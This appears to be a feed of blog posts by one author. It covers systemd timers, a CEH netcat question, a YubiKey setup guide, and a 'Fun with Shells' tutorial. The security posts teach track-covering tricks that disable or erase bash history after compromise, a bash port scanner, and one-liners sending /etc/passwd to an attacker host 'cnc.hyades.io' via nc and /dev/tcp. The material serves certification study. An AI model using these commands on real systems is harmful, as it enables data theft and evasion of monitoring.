&lt;p&gt;As a clear pro, you are able to have much more granular control of when and how your code loops.&lt;/p&gt;

&lt;h2&gt;
  
  
  Charts
&lt;/h2&gt;

&lt;p&gt;TBD&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Resource consumption wise, it’s usually the case for in-code loops to be lighter, since you are avoiding the startup costs.&lt;/p&gt;

&lt;p&gt;But in conclusion, use whatever suits you best.&lt;/p&gt;

&lt;p&gt;If you just need to run a simple script every few seconds or so and don’t want to worry about treating errors etc, just put it under a SystemD timer, configure &lt;code&gt;Restart&lt;/code&gt; accordingly and forget about it.&lt;/p&gt;

&lt;p&gt;If you otherwise need more complex scenarios, use in-code loops as you normally would, and consider implementing &lt;code&gt;systemd-notify&lt;/code&gt; for tighter integration.&lt;/p&gt;

</description>
      <category>technology</category>
    </item>
    <item>
      <title>Fun with Shells</title>
      <dc:creator>Henrique Goncalves</dc:creator>
      <pubDate>Wed, 13 Nov 2019 09:14:32 +0000</pubDate>
      <link>https://dev.to/kamushadenes/fun-with-shells-20f2</link>
      <guid>https://dev.to/kamushadenes/fun-with-shells-20f2</guid>
      <description>&lt;p&gt;Originally posted at &lt;a href="https://blog.hadenes.io/post/fun-with-shells/" rel="noopener noreferrer"&gt;https://blog.hadenes.io/post/fun-with-shells/&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Fun with Shells
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;This is part of a series of articles meant to guide newcomers and professionals alike on important security topics, and sometimes questions from certifications like&lt;/em&gt; &lt;a href="https://www.eccouncil.org/programs/certified-ethical-hacker-ceh/" rel="noopener noreferrer"&gt;&lt;em&gt;CEH&lt;/em&gt;&lt;/a&gt; &lt;em&gt;will be used as the initial instigator to the article. Topics vary from the very basic to the really advanced stuff.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;We are in no way associated with EC Council or any other group or company, and the only purpose of this series is to sum up our study group learnings.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A shell is basically the command line interface you are likely to use on a daily basis on a Unix-based operating system. It’s nothing more than an user interface where you can type commands using a well-known syntax.&lt;/p&gt;

&lt;p&gt;We approach more advanced subjects that assume you know your way around. If that is not the case or if you want to learn about shell in-depth, I highly recommend &lt;a href="https://aurelio.net/shell/" rel="noopener noreferrer"&gt;Aurelio Jargas’ book&lt;/a&gt; on the matter.&lt;/p&gt;

&lt;h1&gt;
  
  
  Covering Tracks
&lt;/h1&gt;

&lt;p&gt;So you popped a shell. Nice! First thing you should do is ensure your steps aren’t being monitored.&lt;/p&gt;

&lt;p&gt;Keep in mind this section is only about Shell, and doesn’t cover things like &lt;strong&gt;auditd&lt;/strong&gt; and other auditing systems. Don’t risk your life only on that! Still, it’s a useful knowledge for quick stuff.&lt;/p&gt;

&lt;h2&gt;
  
  
  All I need is a little space
&lt;/h2&gt;

&lt;p&gt;Suppose you don’t want to disable logging for an entire session. You only want that nasty little command of yours to go unnoticed, but it’s ok to leave other commands (or even preferable, in case you want to hide in plain sight).&lt;/p&gt;

&lt;p&gt;For this to work you need to understand the functioning of a internal variable called &lt;code&gt;HISTCONTROL&lt;/code&gt; .&lt;/p&gt;

&lt;p&gt;According to the &lt;a href="http://man.he.net/?topic=bash&amp;amp;section=all" rel="noopener noreferrer"&gt;Bash manpage&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HISTCONTROL  
    A colon-separated list of values controlling how commands are saved on the history list. If the list of values includes ignorespace, lines which begin with a space character are not saved in the history list. A value of ignoredups causes lines matching the previous history entry to not be saved. A value of ignoreboth is shorthand for ignorespace and ignoredups. A value of erasedups causes all previous lines matching the current line to be removed from the history list before that line is saved.  
    Any value not in the above list is ignored. If HISTCONTROL is unset, or does not include a valid value, all lines read by the shell parser are saved on the history list, subject to the value of HISTIGNORE. The second and subsequent lines of a multi-line compound command are not tested, and are added to the history regardless of the value of HISTCONTROL.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; if &lt;code&gt;HISTCONTROL&lt;/code&gt;is set to &lt;code&gt;ignoreboth&lt;/code&gt; (the default) or &lt;code&gt;ignorespace&lt;/code&gt; , any command starting with a whitespace will not be registered. So instead of “passwd root”, you can use “ passwd root” (notice the space prefix) and the command will not be logged.&lt;/p&gt;

&lt;p&gt;Now this isn’t very reliable, so keep going.&lt;/p&gt;

&lt;h2&gt;
  
  
  $ 100 bucks say you will forget that mysql command, uh?
&lt;/h2&gt;

&lt;p&gt;You can instruct Bash to ignore commands that contain certain strings. This is more useful if you usually type things like passwords on your command line (STOP DOING THAT) and you don’t want those logged. Now, don’t put your password in there, silly. Use the command that usually accompanies it, like &lt;code&gt;mysql&lt;/code&gt; or something.&lt;/p&gt;

&lt;p&gt;According to the &lt;a href="http://man.he.net/?topic=bash&amp;amp;section=all" rel="noopener noreferrer"&gt;Bash manpage&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HISTIGNORE  
    A colon-separated list of patterns used to decide which command lines should be saved on the history list. Each pattern is anchored at the beginning of the line and must match the complete line (no implicit \`\*' is appended). Each pattern is tested against the line after the checks specified by HISTCONTROL are applied. In addition to the normal shell pattern matching characters, \`&amp;amp;' matches the previous history line.\`&amp;amp;' may be escaped using a backslash; the backslash is removed before attempting a match. The second and subsequent lines of a multi-line compound command are not tested, and are added to the history regardless of the value of HISTIGNORE.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So, to ignore all commands starting with &lt;code&gt;mysql&lt;/code&gt;, you can use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
export HISTIGNORE="mysql\*"

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Send the history into oblivion
&lt;/h2&gt;

&lt;p&gt;In Bash, the history is logged at the end of session. This means that you can do cool stuff like saying to Bash to log that session into the void.&lt;/p&gt;

&lt;p&gt;According to the &lt;a href="http://man.he.net/?topic=bash&amp;amp;section=all" rel="noopener noreferrer"&gt;Bash manpage&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HISTFILE  
    The name of the file in which command history is saved (see HISTORY below). The default value is ~/.bash\_history. If unset, the command history is not saved when a shell exits.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So, by using one of the lines below, you can get rid of that pesky history. Just remember to do it before you logout (preferably immediately after you logged in).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
export HISTFILE=/dev/null 
unset HISTFILE # alternative

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can also use HISTSIZE for that.&lt;/p&gt;

&lt;p&gt;According to the &lt;a href="http://man.he.net/?topic=bash&amp;amp;section=all" rel="noopener noreferrer"&gt;Bash manpage&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HISTSIZE  
    The number of commands to remember in the command history (see HISTORY below). If the value is 0, commands are not saved in the history list. Numeric values less than zero result in every command being saved on the history list (there is no limit).  
    The shell sets the default value to 500 after reading any startup files.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Meaning that would also work:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
export HISTSIZE=0

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Afraid that your nasty secrets were already logged? Make a dramatic exit. Just remember dramatic exits make noise, meaning it’ll be clear someone erased the history. And of course, this won’t erase logs sent to a logging service.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
rm -f $HISTFILE &amp;amp;&amp;amp; unset HISTFILE &amp;amp;&amp;amp; exit

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There will be additional content on erasing tracks on the future, not just on Bash. For now, checkout the Additional Reading section at the end of the article.&lt;/p&gt;

&lt;h1&gt;
  
  
  Socket Fun
&lt;/h1&gt;

&lt;p&gt;Suppose you are on an extremely restricted environment and want to open a connection to the outside. The firewall isn’t restricting outgoing connections, but you don’t have access to anything like &lt;a href="https://blog.hadenes.io/post/kitten-exfiltration/" rel="noopener noreferrer"&gt;&lt;em&gt;netcat&lt;/em&gt;&lt;/a&gt;, &lt;em&gt;curl&lt;/em&gt; or &lt;em&gt;wget.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;You may be lucky if you find yourself in this scenario but the shell you are using is &lt;em&gt;bash&lt;/em&gt; compiled with &lt;code&gt;--enable-net-redirections&lt;/code&gt; , which is the default in many recent distributions.&lt;/p&gt;

&lt;p&gt;Basically, this is the syntax:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
exec {file descriptor}&amp;lt;&amp;gt;/dev/{protocol}/{host}/{port}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A file descriptor is an abstract indicator used to access an I/O resource, such as a pipe or a network socket.&lt;/p&gt;

&lt;p&gt;It must also be a non-negative number (because 0 is allowed), and in our particular case, must be equal to or greater than 3, because we already have 0 (stdin), 1 (stdout) and 2 (stderr) reserved.&lt;/p&gt;

&lt;p&gt;Let’s look into some examples.&lt;/p&gt;

&lt;h2&gt;
  
  
  GET a remote page
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
exec 3&amp;lt;&amp;gt;/dev/tcp/example.com/80  
echo -e "GET / HTTP/1.1\\r\\nHost: example.com\\r\\nConnection: close\\r\\n\\r\\n" &amp;gt;&amp;amp;3  
cat &amp;lt;&amp;amp;3

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first line opens a bidirectional (because of the &amp;lt;&amp;gt;) TCP socket to example.com at port 80/TCP.&lt;/p&gt;

&lt;p&gt;The second line issues a GET command from the HTTP protocol, effectively fetching the page. The command is then sent to the file descriptor 3 that we opened on the first line.&lt;/p&gt;

&lt;p&gt;The third line reads back from the socket, printing the contents of &lt;a href="http://example.com." rel="noopener noreferrer"&gt;http://example.com.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz6ot1aov3bljb6lsiejv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz6ot1aov3bljb6lsiejv.png" width="700" height="378"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Display a SSH server version
&lt;/h2&gt;

&lt;p&gt;Using this socket, you can get the version of a SSH server running somewhere else. This happens because, upon completing a TCP handshake, the SSH server sends to the client a banner containing it’s version.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
exec 3&amp;lt;/dev/tcp/10.23.55.1/22  
timeout 1 cat &amp;lt;&amp;amp;3

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first line was already explained. The second line is the same as the &lt;code&gt;cat&lt;/code&gt; command on the previous example, except this time it contains a timeout of 1 second. This is because the connection on this case is never closed, so the cat would never return as it would think there was still data to receive. Keep in mind though that this timeout only applies if the connection is successful, it will not timeout if the connection never finishes, instead the default timeout of 60 seconds will be used.&lt;/p&gt;

&lt;p&gt;On the GET example this doesn’t happen because of the &lt;code&gt;Connection&lt;/code&gt; HTTP header which was set to &lt;code&gt;close&lt;/code&gt;, instructing the remote server to just sent the requested page and hang up the connection.&lt;/p&gt;

&lt;p&gt;In case you want a one-liner:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
timeout 1 cat &amp;lt;/dev/tcp/ **10.23.55.1** /22

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this case, no file descriptor is created because we are immediately using the socket.&lt;/p&gt;

&lt;h2&gt;
  
  
  Testing whether a connection is successful
&lt;/h2&gt;

&lt;p&gt;Using the return code, you can determine if a connection was successful (i.e. the port is open)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
#!/bin/bash
(echo &amp;gt;/dev/tcp/example.com/80) &amp;amp;&amp;gt;/dev/null

if [$? -eq 0]; then  
    echo "Connection successful"  
else  
    echo "Connection failed"  
fi

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can do this on one line also.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
echo &amp;gt;/dev/tcp/example.com/80 &amp;amp;&amp;amp; echo "Connection successful" || echo "Connection failed"

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Port Scanning
&lt;/h2&gt;

&lt;p&gt;In case you don’t have something like &lt;a href="https://nmap.org/" rel="noopener noreferrer"&gt;nmap&lt;/a&gt; nor do you have a proper compiler or interpreter to write your own port scanning code, this can get you off the hook.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
#!/bin/bash

for ((port=1; port&amp;lt;=65535; port++)); do  
    (echo &amp;gt;/dev/tcp/$host/$port) &amp;amp;&amp;gt;/dev/null &amp;amp;&amp;amp; echo "$port open" || echo "$port closed"  
done

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will take sometime (specially because closed ports will take a long time to time out), but will work. Try restricting it to ports that really matter to you.&lt;/p&gt;

&lt;h2&gt;
  
  
  More Fun
&lt;/h2&gt;

&lt;p&gt;Remember how you can &lt;a href="https://blog.hadenes.io/post/kitten-exfiltration/" rel="noopener noreferrer"&gt;set netcat to listen on a specific port&lt;/a&gt;? ;)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
# On your machine  
nc -l -p 666 # On the victim machine  
cat /etc/passwd &amp;gt;/dev/tcp/cnc.hyades.io/666

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Additional Reading
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://jvns.ca/blog/2017/03/26/bash-quirks/" rel="noopener noreferrer"&gt;https://jvns.ca/blog/2017/03/26/bash-quirks/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="http://tldp.org/LDP/abs/html/sha-bang.html" rel="noopener noreferrer"&gt;http://tldp.org/LDP/abs/html/sha-bang.html&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;p&gt;&lt;a href="http://xmodulo.com/tcp-udp-socket-bash-shell.html" rel="noopener noreferrer"&gt;http://xmodulo.com/tcp-udp-socket-bash-shell.html&lt;/a&gt;&lt;/p&gt;

</description>
      <category>technology</category>
    </item>
    <item>
      <title>Kitten Exfiltration</title>
      <dc:creator>Henrique Goncalves</dc:creator>
      <pubDate>Sat, 09 Nov 2019 09:27:56 +0000</pubDate>
      <link>https://dev.to/kamushadenes/kitten-exfiltration-1h04</link>
      <guid>https://dev.to/kamushadenes/kitten-exfiltration-1h04</guid>
      <description>&lt;p&gt;Originally posted at &lt;a href="https://blog.hadenes.io/post/kitten-exfiltration/" rel="noopener noreferrer"&gt;https://blog.hadenes.io/post/kitten-exfiltration/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This cat is sad because it’s shell didn’t pop…&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This is part of a series of articles meant to guide newcomers and professionals alike on important security topics, and sometimes questions from certifications like&lt;/em&gt; &lt;a href="https://www.eccouncil.org/programs/certified-ethical-hacker-ceh/" rel="noopener noreferrer"&gt;&lt;em&gt;CEH&lt;/em&gt;&lt;/a&gt; &lt;em&gt;will be used as the initial instigator to the article. Topics vary from the very basic to the really advanced stuff.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;We are in no way associated with EC Council or any other group or company, and the only purpose of this series is to sum up our study group learnings.&lt;/em&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  The Question
&lt;/h1&gt;

&lt;p&gt;CEH presents us with this question:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;What is the outcome of this command:&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
nc -l -p 2222 | nc 10.1.0.43 1234

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;a)&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Netcat will listen on the 10.1.0.43 interface for 1234 seconds on port 2222&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;b)&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Netcat will listen on port 2222 and output anything received to a remote connection on 10.1.0.43 port 1234&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;c)&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Netcat will listen for a connection from 10.1.0.43 on port 1234 and output anything received to port 2222&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;d)&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Netcat will listen on port 2222 and then output anything received to local interface 10.1.0.43&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1&gt;
  
  
  The Answer
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Netcat&lt;/strong&gt; , or &lt;strong&gt;nc&lt;/strong&gt; is a small utility used for &lt;em&gt;reading from&lt;/em&gt; and &lt;em&gt;writing to&lt;/em&gt; network connections using TCP or UDP.&lt;/p&gt;

&lt;p&gt;It can be used for port scanning, file transfers, port listening and specially as a &lt;em&gt;backdoor&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;On the CEH question, &lt;strong&gt;nc&lt;/strong&gt; is used twice in two separate commands, so let’s first dissect the command line presented by adding parentheses to differentiate each part.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
(nc -l -p 2222) (|) (nc 10.1.0.43 1234)

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In shell we read the command line from the right to the left, so let’s start by the &lt;em&gt;nc 10.1.0.43 1234&lt;/em&gt; part.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
nc 10.1.0.43 1234

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this part, we have the main command ( &lt;strong&gt;nc&lt;/strong&gt; ) and two arguments ( &lt;strong&gt;10.1.0.43&lt;/strong&gt; and &lt;strong&gt;1234&lt;/strong&gt; )&lt;/p&gt;

&lt;p&gt;This is pretty straightforward. If we check the &lt;a href="https://man.cx/nc" rel="noopener noreferrer"&gt;nc manpage,&lt;/a&gt; we’ll see that it’s basic syntax is&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
nc [-options] hostname port[s] [ports] ...

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So, in this case, we simply apply the syntax to our command and we get:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;nc&lt;/strong&gt; : the command itself&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;10.1.0.43&lt;/strong&gt; : the &lt;em&gt;hostname&lt;/em&gt; argument&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1234&lt;/strong&gt; : the &lt;em&gt;port&lt;/em&gt; argument&lt;/p&gt;

&lt;p&gt;What this means is that &lt;strong&gt;nc&lt;/strong&gt; will take anything it receives on the stdin and will send it to port &lt;strong&gt;1234&lt;/strong&gt; of the host &lt;strong&gt;10.1.0.43.&lt;/strong&gt; By default, netcat uses TCP unless &lt;em&gt;-u&lt;/em&gt; is specified, so the server will receive the payload on the port 1234/TCP.&lt;/p&gt;

&lt;p&gt;The next thing we have is a pipe ( &lt;strong&gt;|&lt;/strong&gt; ). In shell a pipe indicates that we’ll take anything the command on the left ( &lt;strong&gt;nc -l -p 2222&lt;/strong&gt; ) outputs and send it to the command on the right ( &lt;strong&gt;nc 10.1.0.43 1234&lt;/strong&gt; ).&lt;/p&gt;

&lt;p&gt;This basically means that the server 10.1.0.43 will receive on port 1234/TCP whatever &lt;strong&gt;nc -l -p 2222&lt;/strong&gt; outputs. If the command was like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
echo potato | nc 10.1.0.43 1234

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That means that the server 10.1.0.43 would receive the string “potato” on port 1234/TCP.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
nc -l -p 2222

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, for the command on the left, we can again lookup the netcat manual or we can use &lt;a href="https://explainshell.com/explain?cmd=nc+-l+-p+2222" rel="noopener noreferrer"&gt;explainshell.com&lt;/a&gt; to get a nicer view of what is going on.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fouce4w4tljar3gfgsj3r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fouce4w4tljar3gfgsj3r.png" width="700" height="198"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first option is &lt;em&gt;-l.&lt;/em&gt; What this does is put netcat into the &lt;em&gt;listening mode,&lt;/em&gt; meaning it will wait for connections on a specific port and will output whatever it receives. The port in this case is &lt;strong&gt;2222&lt;/strong&gt; , as specified as an argument to &lt;em&gt;-p.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;For a server to be able to do anything relevant with a packet received on any port, it needs a program listening on that port, that is, a program that is actively waiting for something to arrive. In this case, this program in nc.&lt;/p&gt;

&lt;p&gt;To sum up, what the command line is doing is setting nc to listen on port 2222/TCP (remember, TCP is the default) and sending anything it receives on that port to a different connection to the server 10.1.0.43 on port 1234/TCP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;nc -l -p 2222&lt;/strong&gt; : listens on port 2222/TCP and outputs whatever it receives&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;|&lt;/strong&gt; : takes the output of the command on the left and send it to the command on the right&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;nc 10.1.0.43 1234&lt;/strong&gt; : sends it’s input to the server 10.1.0.43 on port 1234/TCP&lt;/p&gt;

&lt;p&gt;We have all the parts dissected, so now it’s easy to answer the question. The answer is &lt;strong&gt;B&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs4eg5vlwh4erchgaxwu1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs4eg5vlwh4erchgaxwu1.png" width="700" height="279"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Data Exfiltration
&lt;/h1&gt;

&lt;p&gt;What if we wanted to exfiltrate the content &lt;strong&gt;/etc/passwd&lt;/strong&gt; to a server we have setup before (let’s call it &lt;strong&gt;cnc.hyades.io&lt;/strong&gt; ) that is listening on port &lt;strong&gt;666/UDP&lt;/strong&gt;?&lt;/p&gt;

&lt;p&gt;It’s simple, we just do:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
cat /etc/passwd | nc -u cnc.hyades.io 666

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Can you see the possibilities? ;)&lt;/p&gt;

&lt;p&gt;Also, as previously mentioned, it’s possible to use netcat as a backdoor. We’ll discuss this in another article.&lt;/p&gt;

</description>
      <category>technology</category>
    </item>
    <item>
      <title>Making the Most Out of Your Yubikey 4</title>
      <dc:creator>Henrique Goncalves</dc:creator>
      <pubDate>Sat, 21 Jul 2018 00:00:00 +0000</pubDate>
      <link>https://dev.to/kamushadenes/making-the-most-out-of-your-yubikey-4-515g</link>
      <guid>https://dev.to/kamushadenes/making-the-most-out-of-your-yubikey-4-515g</guid>
      <description>&lt;p&gt;Originally posted at &lt;a href="https://blog.hadenes.io/post/making-the-most-out-of-your-yubikey-4/" rel="noopener noreferrer"&gt;https://blog.hadenes.io/post/making-the-most-out-of-your-yubikey-4/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;An update is coming soon with the new Yubikey 5 features&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I have used YubiKey for years now. I had a battle-proven Yubikey NEO for the last 5 years on my keyring, and honestly, after rain, mud, falls, dog bites and washing machines, it was impeccable, if a bit worn out. Those things are nearly indestructible.&lt;/p&gt;

&lt;p&gt;I recently got a new one in a conference, along with a YubiKey 4C, and decided to give the old one to a friend just for the sake of passing it along.&lt;/p&gt;

&lt;p&gt;I decided to use the 4C as my main YubiKey and the new NEO as a backup.&lt;/p&gt;

&lt;p&gt;Another friend of mine attended the same conference and got the same YubiKey, and has been bugging me to write a guide on how I use my device. Guess he got it.&lt;/p&gt;

&lt;h2&gt;
  
  
  YubiKey NEO x YubiKey 4C
&lt;/h2&gt;

&lt;p&gt;Before we begin, let’s discuss the differences between both versions of YubiKey I’m using and why I choose one over another to be my primary.&lt;/p&gt;

&lt;p&gt;Both versions supports:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Yubico’s OTP (like a HOTP validated by Yubico’s servers)&lt;/li&gt;
&lt;li&gt;2 configuration slots (going to talk more about that later on)&lt;/li&gt;
&lt;li&gt;OATH-HOTP&lt;/li&gt;
&lt;li&gt;Static Password&lt;/li&gt;
&lt;li&gt;Challenge-Response&lt;/li&gt;
&lt;li&gt;U2F&lt;/li&gt;
&lt;li&gt;PIV&lt;/li&gt;
&lt;li&gt;OpenPGP SmartCard&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;YubiKey NEO main difference is the NFC support, which allows it to be used with both Android and iOS. Also, the OpenPGP applet supports keys up to 2048 bits long. It’s connection is regular USB.&lt;/p&gt;

&lt;p&gt;YubiKey 4C, on the other hand, has no NFC support, but allows for OpenPGP keys up to 4096 bits long. It’s connection is USB C, and has a smaller form factor.&lt;/p&gt;

&lt;p&gt;I decided to use the 4C as the primary due to it’s key length and the fact that I don’t really use NFC (plus, my Pixel phone has an USB C connection and it works great with the &lt;a href="https://www.openkeychain.org/" rel="noopener noreferrer"&gt;OpenKeyChain&lt;/a&gt; app, which also supports NFC). The smaller form factor is also a nice plus since I already have a pretty bulky keychain because of my Ledger Nano.&lt;/p&gt;

&lt;p&gt;Along with that, having a backup that supports more connections than the default, and a more common USB port, allows for more flexibility on an emergency situation.&lt;/p&gt;

&lt;p&gt;I’ll add a &lt;strong&gt;Backup&lt;/strong&gt; section everywhere it’s applicable so you know what you should do with your second YubiKey, if you decided to have one. I highly recommend you do, to avoid getting locked out of your stuff.&lt;/p&gt;

&lt;h2&gt;
  
  
  U2F
&lt;/h2&gt;

